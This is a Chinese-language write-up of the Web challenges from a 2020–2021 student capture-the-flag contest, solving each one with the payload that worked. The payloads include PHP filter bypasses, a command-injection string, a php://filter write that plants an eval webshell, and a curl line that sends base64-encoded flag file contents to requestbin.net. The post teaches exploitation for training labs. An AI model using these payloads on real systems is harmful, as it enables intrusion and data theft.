2021第一届Eyaslab雏鹰杯Web(全)

flag给你

这题考点flag格式

常见的格式flag{},ctf{}等等

还有些靶场会根据自己的网站来定义,如:hctf{},FCTF{}等等

flag内容,指的是大括号里的内容,内容不能有空格,特殊字符(除[-,_]外)

以后可能会有中文的flag

序列化

<?php 
error_reporting(0); 
include "flag.php"; 
$key = "abcdefg!!!"; 
$str = $_GET['str']; 
if (unserialize($str) === "$key") 
{ 
    echo $flag; 
} 
show_source(__FILE__); 
?>

序列化概念

序列化就是将对象转换成字符串。字符串包括 属性名 属性值 属性类型和该对象对应的类名。

由于这道题没有涉及到类,就简单描述一下

s:10:"abcdefg!!!"

​ s代表字符串

​ 10代表属性名长度

​ abcdefg!!!属性值

payload:?str=s:10:"abcdefg!!!";

你猜

考点session与post的值相同

直接按猜数字得到flag,如果输入了值,就要重新打开题目得到flag

flag在哪里

考点:响应头携带flag

打开审查元素--> Network-->点击flag在这里,查看响应头,发现是base64,解码得到flag

这里解析一下,为什么要抓包

因为flag.php会302跳转到404.php,会一瞬间跳转。

不想和你说话

<?php
header("Content-type:text/html;charset=utf8");
error_reporting(e);
include 'flag.php';
$b='ssAEDsssss';
extract($_GET);
if(isset($a))
{
	$c=trim(file_get_contents($b));
	if($a==$c)
	{
		echo $myF1ag;
	}
	else
	{
		echo '继续努力,相信flag离你不远了';
	}
}
?>

file_get_contents — 将整个文件读入一个字符串

​ 它没有找到ssAEDsssss的文件,所以读取的值为空

trim — 去除字符串首尾处的空白字符(或者其他字符)

​ 空加上去除空白字符

payload:?a=

该网站已被黑

查看源代码,没有突破口。robots.txt文件不存在,只能尝试跑一下目录了,拿出《想念初恋》

image-20201227145557023

一顿扫描得到index.php,shell.php

访问shell.php看看,发现是个大马,没有密码没办法连接,只能暴力解决

一顿爆破发现密码hack

lottery

进来发现是一个抽奖机,常规操作查看源代码,发现一个请求data.php,手动测试几下发现每次返回的值都不一样,也没有其他破绽,接下来一顿请求发现

image-20201227151811770

easygame

这题花费时间比较多,是我想太多了

在访问连接的时候,会出现GET me Xp0int with values:JNU

这时候传参又会出现Then post me Xp0int with values:JNUJNU

POST请求完,会说你不是管理员You are not admin!

错误思路

思维惯性我以为GET传参后到POST就不是管理员,所以我就把Referer: 改为127.0.0.1,还有拼命改door=1

正确解法

​ 就挺简单的加上用X-Forwarded-For: 127.0.0.1,就得到flag

url

进来后直接下载flag有诡异,打开后发现flag不在这里,在仔细找找哦!

回到下载前,查看源代码,发现flag.php,访问flag.php啥也没有,又被骗了

认真的看发现?file=flag.txt,把flag.php包含进来如:?file=flag.php

下载一看,还要解码

解码代码

<?php
	$key = md5 ( "ctf" );
	$x = 0;
	$data = base64_decode ( "xWqammfJaWrGm5yayJttaGiTlJRsbGrMmWxqa2fMm50=" );
	$len = strlen ( $data );
	$l = strlen ( $key );
	for($i = 0; $i < $len; $i ++) {
		if ($x == $l) {
			$x = 0;
		}
		$char .= substr ( $key, $x, 1 );
		$x ++;
	}
	for($i = 0; $i < $len; $i ++) {
		if (ord ( substr ( $data, $i, 1 ) ) < ord ( substr ( $char, $i, 1 ) )) {
			$str .= chr ( (ord ( substr ( $data, $i, 1 ) ) + 256) - ord ( substr ( $char, $i, 1 ) ) );
		} else {
			$str .= chr ( ord ( substr ( $data, $i, 1 ) ) - ord ( substr ( $char, $i, 1 ) ) );
		}
	}
	echo $str;
?>

你算的太慢

这题考点是脚本编写,有的 师傅就反驳了,我算的快不行呀(当然可以,只要师傅够快,手动没得问题)

下面提供payload

# -*- codeing:utf-8 -*-
# @Time : 2020/12/27 15:35
# @Author : 非鱼
# @File : hello
# @Software : PyCharm

import requests
import re   #//正则表达式

url = 'http://10.20.105.228:8807/'

head = {'Cookie': 'PHPSESSID=ce8d525d1e018262e749da3fc35fbcd7'}

source = requests.get(url, headers=head).content.decode('utf-8')
expression = re.search(r'(\d+[+*])+(\d+[+*])+\((\d+[+*])+(\d+)\)', source).group()
print(expression)
val = str(eval(expression))
print(val)
print("--")
post = {'result': val}
result = requests.post(url, headers=head, data=post).content.decode('utf-8')
print(result)

sha

这题考点是MD5强碰撞

md5漏洞介绍:

PHP在处理哈希字符串时,它把每一个以“0E”开头的哈希值都解释为0,所以如果两个不同的密码经过哈希以后,其哈希值都是以“0E”开头的,那么PHP将会认为他们相同,都是0。

用数组传参,就可以绕过

image-20201227153937325

md5

常规操作,查看源代码,发现G4YTONZWGU======.php,文件名被加密了,看起来像base64加密

解压发现失败,认真的去了解一遍base加密

Base16编码

Base16编码就是将ASCII字符集中可打印的字符(数字0~9和字母A~F)对应的二进制字节数据进行编码,编码的方式:

1.将数据(根据ASCII编码,UTF-8编码等)转成对应的二进制数,不足8比特位高位补0.然后将所有的二进制全部串起来,4个二进制位为一组,转化成对应十进制数.

2.根据十进制数值找到Base16编码表里面对应的字符.Base16是4个比特位表示一个字符,所以原始是1个字节(8个比特位)刚好可以分成两组,也就是说原先如果使用ASCII编码后的一个字符,现在转化成两个字符.数据量是原先的2倍.

Base32编码

与Base16编码区别的是,Base32使用了ASCII编码中可打印的32个字符(大写字母AZ和数字27)对任意字节数据进行编码.Base32将串起来的二进制数据按照5个二进制位分为一组,由于传输数据的单位是字节(即8个二进制位).所以分割之前的二进制位数是40的倍数(40是5和8的最小公倍数).如果不足40位,则在编码后数据补充"=",一个"="相当于一个组(5个二进制位),编码后的数据是原先的8/5倍.

这里发现必须base32

G4YTONZWGU======解码得到717765,接着访问没有该文件

看了一下ascii表发现717765就是qwe

直接在url后接上qwe.php,发现什么也没有

最后去问问出题人,出题人说要填表单cookie才会有door

<?php
$a = @$_POST['a'];
$b = @$_POST['b'];
setcookie("door",0, time()+3600*24);
if (!(isset($a)) && !(isset($b))){
echo "You have no value";
die();
}

if (strlen($a) > 11){
echo "to long";
die();
}

$hack = @$_GET['hack'];
$rep = @$_GET['rep'];

if ((strlen($hack) >=6) || (strlen($rep) >=6 )){
echo "h OR r No,worng!<br />";
die();
}
$str1 = hash('md5',$a,false);

$str2 = strstr(hash('md5',$b,false),$hack,$rep);

echo "str1:".$str1;

echo '<br />';

echo "str2:".$str2;

echo '<br />';

if (($str1 == $str2) && !($a == $b) ) {
include('qwe.php');
echo "flag:".$flag;
}
?> 

这题考的是md5弱碰撞

这里也可以用数组绕过a[]=1&b[]=2,还有一个关键点rep,经过查php手册可以知道rep=true,hack=6

image-20201230232749572

得到flag

ping

<?php
if(isset($_REQUEST[ 'ip' ])) {
    $target = trim($_REQUEST[ 'ip' ]);
    $substitutions = array(
        'head' => '',
        'ls' => '',
        'cat' => '',
        'flag' => '',
        '<'  => '',
        ' '  => '',
        '&'  => '',
        '|' => '',
        '-'  => '',
        '('  => '',
        ')'  => '',
        '`'  => '',
        '||' => '',
    );
    $target = str_replace( array_keys( $substitutions ), $substitutions, $target );
    $cmd = shell_exec( 'ping  -c 1 ' . $target );
        echo $target;
    echo  "<pre>{$cmd}</pre>";
}
show_source(__FILE__);
?>

看到代码用数组去匹配关键字

这里看到关键字替换为空,思路一下就是双写绕过

第一个问题

两个语句如何执行

​ 常见的管道符有|,&,||,&&

​ 但是都被过滤了,这里讲解一下过滤后为什么不行,用|为例:我们在上面已经有思路了是双写绕过

|-->||由于||又会替换成空,这时候有人会说那我写成|||不就行了嘛,由于str_replace函数是

​ 精准匹配,没有匹配到|||,加上系统无法识别|||,直接导致执行失败。

​ 这里要去看看linux系统命令,发现分号作为一条语句的结束,所以我们用分号

payload:;llss

​ ls命令查看当前文件夹的文件

​ flag,index.php

第二个问题

如何查看flag(一)

​ 常见的命令有cat、tac、more、less、head、tail、nl、sed、sort、uniq、rev

​ 上面看到cat命令被过滤了,而你非要用cat命令,这时候也是可以的,方法有ca''t,ca\t等等,在这就一 一举例了

如何查看flag(二)

​ 常见的命令有 %20(空格)、 %09(tab)、$IFS$9、 ${IFS}、$IFS%09(tab)、< 、<>、%20(space)等

如何查看flag(三)

​ 看代码发现flag被替换成空了

​ 方法有,双写绕过,linux系统特性

payload:;tac%09flaflagg

满意的数字

常规操作,查看源代码,发现index.php.txt访问,得到php代码

<?php
header ( 'Content-Type: text/html; charset=utf-8' ); // 网页编码
error_reporting ( 0 );
$flag = "*******************";
//echo $_POST['num'];
if (isset ( $_POST ['num'] )) {
	if (@ereg ( "^[1-9]+$", $_POST['num'] ) === FALSE)
		echo '说好的数字呢?';
	else if (strpos ( $_POST['num'], '#testaasafd' ) !== FALSE)
		die ( 'Flag: ' . $flag );
	else
		echo '你的数字不太符合我的心意哦!';
}
?>

strpos — 查找字符串首次出现的位置

参数一:在该字符串中进行查找。

参数二:如果 needle 不是一个字符串,那么它将被转换为整型并被视为字符的顺序值。

image-20201227160017620

babyphp

分析代码

<?php

highlight_file('source.txt');
echo "<br><br>";

$flag = 'xxxxxxxx';
$msg_giveme = 'Give me the flag!';
$msg_getout = 'No this. Get out!';
if(!isset($_GET['flag']) && !isset($_POST['flag'])){
exit($msg_giveme);
}

if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){
exit($msg_getout);
}

foreach ($_POST as $key => $value) {
$$key = $value;
}

foreach ($_GET as $key => $value) {
$$key = $$value;
}

echo 'the flag is : ' . $flag;

?> 

这里看关键代码21行-22行

foreach ($_GET as $key => $value) {
$$key = $$value;  //注意这里是在大括号中,不是在函数中,不是临时变量。 
}                //重点在这里, 这里就变成了 ${$key}=${$value} 
//这里也就是说 假设 $key=aaa 拿就是 $aaa = ${$value} 
//如果按上面里面加载的是变量flag 那么如果 $aaa=$flag 那么 $aaa="flag{1111111}"; 过关密钥对吧。

payload:?msg_giveme=flag&flag=msg_giveme

不难的

考点:php伪协议特殊操作

先看代码

<?php  
include('hint.php');
$data = $_GET["data"];
if(isset($data)&&(file_get_contents($data,'r')==="Welcome to jmpt CTF")){
 echo $hint;
}

if(isset($_GET['file'])){  
 $file = $_GET['file'];  
 $content = $_POST['content'];  
 $file = str_replace("php", "???", $file);  
 $file = str_replace("data", "???", $file);  
 $file = str_replace(":", "???", $file);  
 $file = str_replace(".", "???", $file);  
 file_put_contents(urldecode($file), "<?php die('a,各位师傅太能秀了!');?>".$content);  

   
}else{  
 highlight_file(__FILE__);  
}

由于权限的问题,只有upload文件夹才有写权限,data就是给师傅们测试用的

从代码来看php伪协议常见的协议和特殊字符都被替换为???

再来看看

file_put_contents(urldecode($file), "<?php die('a,各位师傅太能秀了!');?>".$content);

第一个参数:写入数据的文件名

第二个参数:写入的数据

里面有一个url解码urldecode($file),并且要加上url编码再加上浏览器自动url编码,总共两次url编码即可

什么叫浏览器自动编码,在你访问有中文或者特殊字符的url连接的时候就会发现

php伪协议:用写文件php://filter/write=convert.base64-decode/resource=upload/1.php

payload:?file=%25%37%30%25%36%38%25%37%30%25%33%41%25%32%46%25%32%46%25%36%36%25%36%39%25%36%43%25%37%34%25%36%35%25%37%32%25%32%46%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%44%25%36%33%25%36%46%25%36%45%25%37%36%25%36%35%25%37%32%25%37%34%25%32%45%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%44%25%36%34%25%36%35%25%36%33%25%36%46%25%36%34%25%36%35%25%32%46%25%37%32%25%36%35%25%37%33%25%36%46%25%37%35%25%37%32%25%36%33%25%36%35%25%33%44%25%37%35%25%37%30%25%36%43%25%36%46%25%36%31%25%36%34%25%32%46%25%33%31%25%32%45%25%37%30%25%36%38%25%37%30

在代码中还会看到有一个POST请求

传入的内容会与<?php die('a,各位师傅太能秀了!');?>进行拼接

上面用的是base64解码写入,所以<?php die('a,各位师傅太能秀了!');?>解码后会只有phpdiea

要匹配base64解码,因为base64解码是4个4个的来,所以在POST请求要加上一个字母。如:aPD9waHAgZXZhbCgkX1BPU1RbJ2EnXSk/Pg==,才能正常解码

接着蚁剑连接,拿到flag

qiongqiong

先看前菜

源代码

<?php
show_source(__FILE__);
if(isset($_GET['a'])){
$feiyu=$_GET['a'];
if(preg_match("/[A-Za-oq-z0-9$]+/",$feiyu)){
   die("No1 Die");
}
if(preg_match("/\~|\!|\@|#\|\%|\^|\&|\*|\(|\)|\(|\)|\-|\_|\{|\}|\[|\]|\'|\"|\:|\,/",$feiyu)){
    die("No2 Die");
}
eval($feiyu);
}
?>

认真观察会发现,第一次过滤没有过滤p字母,这时候联想临时文件上传,临时文件上传默认设置在/tmp目录下

这里没看前菜的话,我就解析一下,前面的是临时文件上传,但临时文件上传的默认位置是/tmp/下,临时文件名是固定长度的,临时名有三个字母是固定格式php??????的,?号代表随机生成

临时文件上传payload

<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>POST数据包POC</title>
</head>
<body>
<form action="http://81.70.105.149:8005/" method="post" enctype="multipart/form-data">
<!--链接是当前打开的题目链接-->
<label for="file">文件名:</label>
<input type="file" name="file" id="file"><br>
<input type="submit" name="submit" value="提交">
</form>
</body>
</html>

接着抓包

image-20201231222900480

payload:?a=?><?=`.%20/??p/p?p??????`;//

Simple

考点:curl

辅助连接http://requestbin.net/

这里就不详描述curl,请师傅们自行百度

在这里讲解一下原理,原理其实和DNSlog注入一样

就是利用DNS记录带出想要的数据,但是DNS不允许带出数字,字母,个别的特殊字符之外的字符

先看看payload助于理解,

payload:?c=`$c`;curl%20http://requestbin.net/r/vsqercvs?a=`cat%20f*|grep%20flag|base64`;

cat%20f*|grep%20flag|base64后面这一段是用来查找flag的

用base64完全吻合带出的字母

还有很多解法,师傅们慢慢研究

posted @ 2020-12-31 23:13  小非鱼  阅读(366)  评论(0)    收藏  举报